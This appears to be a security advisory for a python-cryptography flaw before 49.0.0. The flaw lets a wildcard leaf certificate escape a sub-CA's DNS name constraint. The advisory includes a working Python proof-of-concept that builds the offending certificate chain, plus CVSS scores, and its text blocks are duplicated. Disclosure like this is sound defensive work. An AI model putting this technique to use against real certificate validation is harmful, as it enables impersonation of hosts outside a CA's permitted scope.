cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, if an intermediate…
GitHub_M·CWE-295·Published 2026-08-03
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.
### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") ``` ### Impact Acceptance of invalid certificate chain.
### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") ``` ### Impact Acceptance of invalid certificate chain.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 4.0 | Primary | cve.org | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |
| 4.0 | Primary | cve.org | 6.9 | — | — |
| CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |
| 4.0 | Secondary | GHSA | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |
| 4.0 | Secondary | NVD | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | ENISA EUVD | 6.9 | — | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |